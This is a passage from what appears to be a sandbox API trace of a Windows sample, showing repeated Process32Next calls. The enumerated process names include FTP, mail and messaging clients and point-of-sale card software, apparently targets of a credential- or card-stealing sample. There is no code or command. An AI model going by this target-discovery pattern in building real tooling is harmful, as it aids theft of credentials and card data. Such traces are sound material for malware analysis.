dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.681] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.683] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.685] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.687] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.689] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.691] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.693] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.694] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0207.696] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.729] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.731] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0207.734] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0207.736] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0207.738] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0207.742] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0207.744] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0207.746] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0207.747] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.750] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.752] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0207.754] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.755] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0207.757] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0207.759] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0207.761] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0207.762] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0207.764] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0207.766] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0207.768] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0207.770] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0207.772] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0207.774] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0207.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0207.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0207.779] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0207.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0207.783] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0207.785] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0207.786] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0207.788] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0207.790] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0207.792] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0207.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0207.796] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0207.797] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0207.800] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0207.802] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0207.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0207.807] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0207.809] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0207.811] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0207.813] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0207.815] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0207.818] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0207.821] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0207.823] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0207.826] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0207.828] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0207.830] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0207.833] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0207.835] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0207.868] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0207.870] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0207.896] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0207.898] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0207.900] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0207.902] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0207.905] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0207.908] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0207.910] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0207.912] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0207.914] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0207.916] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0207.919] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0207.921] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0207.923] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0207.925] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0207.927] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0207.929] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0207.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0207.932] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0207.934] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0207.936] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, 